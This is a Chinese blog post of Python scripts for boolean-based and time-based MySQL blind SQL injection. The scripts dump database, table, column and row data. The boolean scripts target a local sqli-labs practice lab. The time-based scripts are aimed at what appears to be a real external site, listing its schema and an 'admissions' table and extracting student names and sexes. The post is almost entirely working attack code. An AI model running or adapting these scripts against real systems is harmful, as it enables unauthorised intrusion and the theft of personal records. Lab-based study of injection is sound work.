mysql盲注脚本

m0_73826546

于 2025-02-13 13:01:00 发布

阅读量309

点赞数 9

文章标签：数据库 oracle

本文链接：https://blog.youkuaiyun.com/m0_73826546/article/details/145608290

版权

1布尔盲注

1 爆数据库名称

import requests
#1爆数据库名字
def blind_sql_injection(url):
    database_name = ""
    last_database_name = ""  # 上一次的数据库名
    i = 1
    while True:
        low = 32  # ASCII码的最小值
        high = 126  # ASCII码的最大值（可打印字符）
        while low <= high:
            mid = (low + high) // 2
            # 构造Payload，判断当前字符的ASCII码是否大于mid
            payload = f"1' and ascii(substr(database(),{i},1))>{mid}-- -"
            full_url = f"{url}?id={payload}"
            response = requests.get(full_url)
            if "You are in..........." in response.text:  # 你的提示字符串需要根据实际情况调整
                low = mid + 1  # 当前字符的ASCII码大于mid
            else:
                high = mid - 1  # 当前字符的ASCII码小于或等于mid
        # 当low > high时，说明找到了当前字符的ASCII码
        if low > high:
            char = chr(low)
            if char == '\x00':  # 如果字符为空，表示数据库名称已猜完
                print(f"Final database name: {database_name}")
                break  # 退出外层循环
            # 防止添加多余的空格
            if char != ' ':
                database_name += char
            print(f"Current database name: {database_name}")
            i += 1

            # 检查数据库名称是否已经稳定（即与上一次相同）
            if database_name == last_database_name:
                print("Database name has stabilized, ending loop.")
                break

            # 更新上一次的数据库名称
            last_database_name = database_name
        else:
            # 如果没有找到字符，说明数据库名称已猜完
            break
    return database_name

运行截图

2爆指定数据库的表名

import requests

def blind_sql_injection(url):
    database_name = ""
    last_database_name = ""  # 上一次的数据库名
    i = 1
    while True:
        low = 32  # ASCII码的最小值
        high = 126  # ASCII码的最大值（可打印字符）
        while low <= high:
            mid = (low + high) // 2
            # 构造Payload，判断当前字符的ASCII码是否大于mid
            payload = f"1' AND ascii(substr((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),{i},1)) > {mid} -- -"
            full_url = f"{url}?id={payload}"
            response = requests.get(full_url)
            if "You are in..........." in response.text:  # 你的提示字符串需要根据实际情况调整
                low = mid + 1  # 当前字符的ASCII码大于mid
            else:
                high = mid - 1  # 当前字符的ASCII码小于或等于mid
        # 当low > high时，说明找到了当前字符的ASCII码
        if low > high:
            char = chr(low)
            if char == '\x00':  # 如果字符为空，表示数据库名称已猜完
                print(f"Final database name: {database_name}")
                break  # 退出外层循环
            # 防止添加多余的空格
            if char != ' ':
                database_name += char
            print(f"Current database name: {database_name}")
            i += 1

            # 检查数据库名称是否已经稳定（即与上一次相同）
            if database_name == last_database_name:
                print("Database name has stabilized, ending loop.")
                break

            # 更新上一次的数据库名称
            last_database_name = database_name
        else:
            # 如果没有找到字符，说明数据库名称已猜完
            break
    return database_name


if __name__ == "__main__":
    url = "http://127.0.0.1/sqli-labs-master/Less-8/"
    db_name = blind_sql_injection(url)
    print(f"Database name: {db_name}")

运行截图

3爆指定库指定表的列名

import requests

def blind_sql_injection(url):
    database_name = ""
    last_database_name = ""  # 上一次的数据库名
    i = 1
    while True:
        low = 32  # ASCII码的最小值
        high = 126  # ASCII码的最大值（可打印字符）
        while low <= high:
            mid = (low + high) // 2
            # 构造Payload，判断当前字符的ASCII码是否大于mid
            payload = f"1' AND ascii(substr((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' and table_name='users'),{i},1)) > {mid} -- -"
            full_url = f"{url}?id={payload}"
            response = requests.get(full_url)
            if "You are in..........." in response.text:  # 你的提示字符串需要根据实际情况调整
                low = mid + 1  # 当前字符的ASCII码大于mid
            else:
                high = mid - 1  # 当前字符的ASCII码小于或等于mid
        # 当low > high时，说明找到了当前字符的ASCII码
        if low > high:
            char = chr(low)
            if char == '\x00':  # 如果字符为空，表示数据库名称已猜完
                print(f"Final database name: {database_name}")
                break  # 退出外层循环
            # 防止添加多余的空格
            if char != ' ':
                database_name += char
            print(f"Current database name: {database_name}")
            i += 1

            # 检查数据库名称是否已经稳定（即与上一次相同）
            if database_name == last_database_name:
                print("Database name has stabilized, ending loop.")
                break

            # 更新上一次的数据库名称
            last_database_name = database_name
        else:
            # 如果没有找到字符，说明数据库名称已猜完
            break
    return database_name


if __name__ == "__main__":
    url = "http://127.0.0.1/sqli-labs-master/Less-8/"
    db_name = blind_sql_injection(url)
    print(f"Database name: {db_name}")

运行截图

4爆指定表内容

import requests
#
#爆表内容
def blind_sql_injection(url):
    database_name = ""
    last_database_name = ""  # 上一次的数据库名
    i = 1
    while True:
        low = 32  # ASCII码的最小值
        high = 126  # ASCII码的最大值（可打印字符）
        while low <= high:
            mid = (low + high) // 2
            # 构造Payload，判断当前字符的ASCII码是否大于mid
            payload = f"1' AND ascii(substr((SELECT group_concat(username) FROM users),{i},1)) > {mid} -- -"
            full_url = f"{url}?id={payload}"
            response = requests.get(full_url)
            if "You are in..........." in response.text:  # 你的提示字符串需要根据实际情况调整
                low = mid + 1  # 当前字符的ASCII码大于mid
            else:
                high = mid - 1  # 当前字符的ASCII码小于或等于mid
        # 当low > high时，说明找到了当前字符的ASCII码
        if low > high:
            char = chr(low)
            if char == '\x00':  # 如果字符为空，表示数据库名称已猜完
                print(f"Final database name: {database_name}")
                break  # 退出外层循环
            # 防止添加多余的空格
            if char != ' ':
                database_name += char
            print(f"Current database name: {database_name}")
            i += 1

            # 检查数据库名称是否已经稳定（即与上一次相同）
            if database_name == last_database_name:
                print("Database name has stabilized, ending loop.")
                break

            # 更新上一次的数据库名称
            last_database_name = database_name
        else:
            # 如果没有找到字符，说明数据库名称已猜完
            break
    return database_name


if __name__ == "__main__":
    url = "http://127.0.0.1/sqli-labs-master/Less-8/"
    db_name = blind_sql_injection(url)
    print(f"Database name: {db_name}")

运行截图

2时间盲注

1爆数据库名

import requests
import time  # 导入 time 模块

def blind_sql_injection(url):
    database_name = ""
    last_database_name = ""  # 上一次的数据库名
    i = 1
    while True:
        low = 32  # ASCII码的最小值
        high = 126  # ASCII码的最大值（可打印字符）
        while low <= high:
            mid = (low + high) // 2
            # 构造Payload，判断当前字符的ASCII码是否大于mid
            payload = f"4 AND if(ascii(substr(database(),{i},1)) > {mid},sleep(2),0)"
            full_url = url+payload # 拼接完整的URL，记得加上问号参数
            begin = time.time()  # 记录请求开始时间
            response = requests.get(full_url)
            end = time.time()  # 记录请求结束时间

            # 判断响应时间是否延迟了2秒，来判断字符的ASCII码是否大于mid
            response_time = end - begin
            print(f"Testing {chr(mid)} - Response time: {response_time:.2f}s")  # 输出当前字符和响应时间

            if response_time >= 2:  # 如果响应时间大于等于2秒，说明当前字符的ASCII码大于mid
                low = mid + 1
            else:
                high = mid - 1

        # 当low > high时，说明找到了当前字符的ASCII码
        if low > high:
            char = chr(low)
            if char == '\x00':  # 如果字符为空，表示数据库名称已猜完
                print(f"Final database name: {database_name}")
                break  # 退出外层循环
            # 防止添加多余的空格
            if char != ' ':
                database_name += char
            print(f"Current database name: {database_name}")
            i += 1

            # 检查数据库名称是否已经稳定（即与上一次相同）
            if database_name == last_database_name:
                print("Database name has stabilized, ending loop.")
                break

            # 更新上一次的数据库名称
            last_database_name = database_name
        else:
            # 如果没有找到字符，说明数据库名称已猜完
            break
    return database_name


if __name__ == "__main__":
    url = "http://zs.bxait.cn/list/"  # 填写正确的URL
    db_name = blind_sql_injection(url)
    print(f"Database name: {db_name}")

运行截图

2爆数据表名

import requests
import time  # 导入 time 模块

def blind_sql_injection(url):
    database_name = ""
    last_database_name = ""  # 上一次的数据库名
    i = 1
    while True:
        low = 32  # ASCII码的最小值
        high = 126  # ASCII码的最大值（可打印字符）
        while low <= high:
            mid = (low + high) // 2
            # 构造Payload，判断当前字符的ASCII码是否大于mid
            payload = f"4 AND if(ascii(substr((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='gsxy_com'),{i},1)) > {mid},sleep(2),0)"
            full_url = url+payload # 拼接完整的URL，记得加上问号参数
            begin = time.time()  # 记录请求开始时间
            response = requests.get(full_url)
            end = time.time()  # 记录请求结束时间

            # 判断响应时间是否延迟了2秒，来判断字符的ASCII码是否大于mid
            response_time = end - begin
            print(f"Testing {chr(mid)} - Response time: {response_time:.2f}s")  # 输出当前字符和响应时间

            if response_time >= 2:  # 如果响应时间大于等于2秒，说明当前字符的ASCII码大于mid
                low = mid + 1
            else:
                high = mid - 1

        # 当low > high时，说明找到了当前字符的ASCII码
        if low > high:
            char = chr(low)
            if char == '\x00':  # 如果字符为空，表示数据库名称已猜完
                print(f"Final database name: {database_name}")
                break  # 退出外层循环
            # 防止添加多余的空格
            if char != ' ':
                database_name += char
            print(f"Current database name: {database_name}")
            i += 1

            # 检查数据库名称是否已经稳定（即与上一次相同）
            if database_name == last_database_name:
                print("Database name has stabilized, ending loop.")
                break

            # 更新上一次的数据库名称
            last_database_name = database_name
        else:
            # 如果没有找到字符，说明数据库名称已猜完
            break
    return database_name


if __name__ == "__main__":
    url = "http://zs.bxait.cn/list/"  # 填写正确的URL
    db_name = blind_sql_injection(url)
    print(f"Database name: {db_name}")

运行截图

3爆字段名

import requests
import time  # 导入 time 模块

def blind_sql_injection(url):
    database_name = ""
    last_database_name = ""  # 上一次的数据库名
    i = 1
    while True:
        low = 32  # ASCII码的最小值
        high = 126  # ASCII码的最大值（可打印字符）
        while low <= high:
            mid = (low + high) // 2
            # 构造Payload，判断当前字符的ASCII码是否大于mid
            payload = f"4 AND if(ascii(substr((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='gsxy_com' and table_name='admissions'),{i},1)) > {mid},sleep(2),0)"
            full_url = url+payload # 拼接完整的URL，记得加上问号参数
            begin = time.time()  # 记录请求开始时间
            response = requests.get(full_url)
            end = time.time()  # 记录请求结束时间

            # 判断响应时间是否延迟了2秒，来判断字符的ASCII码是否大于mid
            response_time = end - begin
            print(f"Testing {chr(mid)} - Response time: {response_time:.2f}s")  # 输出当前字符和响应时间

            if response_time >= 2:  # 如果响应时间大于等于2秒，说明当前字符的ASCII码大于mid
                low = mid + 1
            else:
                high = mid - 1

        # 当low > high时，说明找到了当前字符的ASCII码
        if low > high:
            char = chr(low)
            if char == '\x00':  # 如果字符为空，表示数据库名称已猜完
                print(f"Final database name: {database_name}")
                break  # 退出外层循环
            # 防止添加多余的空格
            if char != ' ':
                database_name += char
            print(f"Current database name: {database_name}")
            i += 1

            # 检查数据库名称是否已经稳定（即与上一次相同）
            if database_name == last_database_name:
                print("Database name has stabilized, ending loop.")
                break

            # 更新上一次的数据库名称
            last_database_name = database_name
        else:
            # 如果没有找到字符，说明数据库名称已猜完
            break
    return database_name


if __name__ == "__main__":
    url = "http://zs.bxait.cn/list/"  # 填写正确的URL
    db_name = blind_sql_injection(url)
    print(f"Database name: {db_name}")

4爆表内容

import requests
import time  # 导入 time 模块

def blind_sql_injection(url):
    database_name = ""
    last_database_name = ""  # 上一次的数据库名
    i = 1
    while True:
        low = 32  # ASCII码的最小值
        high = 126  # ASCII码的最大值（可打印字符）
        while low <= high:
            mid = (low + high) // 2
            # 构造Payload，判断当前字符的ASCII码是否大于mid
            payload = f"4 AND if(ascii(substr((SELECT group_concat(s_name-s_sex) FROM admissions),{i},1)) > {mid},sleep(2),0)"
            full_url = url+payload # 拼接完整的URL，记得加上问号参数
            begin = time.time()  # 记录请求开始时间
            response = requests.get(full_url)
            end = time.time()  # 记录请求结束时间

            # 判断响应时间是否延迟了2秒，来判断字符的ASCII码是否大于mid
            response_time = end - begin
            print(f"Testing {chr(mid)} - Response time: {response_time:.2f}s")  # 输出当前字符和响应时间

            if response_time >= 2:  # 如果响应时间大于等于2秒，说明当前字符的ASCII码大于mid
                low = mid + 1
            else:
                high = mid - 1

        # 当low > high时，说明找到了当前字符的ASCII码
        if low > high:
            char = chr(low)
            if char == '\x00':  # 如果字符为空，表示数据库名称已猜完
                print(f"Final database name: {database_name}")
                break  # 退出外层循环
            # 防止添加多余的空格
            if char != ' ':
                database_name += char
            print(f"Current database name: {database_name}")
            i += 1

            # 检查数据库名称是否已经稳定（即与上一次相同）
            if database_name == last_database_name:
                print("Database name has stabilized, ending loop.")
                break

            # 更新上一次的数据库名称
            last_database_name = database_name
        else:
            # 如果没有找到字符，说明数据库名称已猜完
            break
    return database_name


if __name__ == "__main__":
    url = "http://zs.bxait.cn/list/"  # 填写正确的URL
    db_name = blind_sql_injection(url)
    print(f"Database name: {db_name}")

运行截图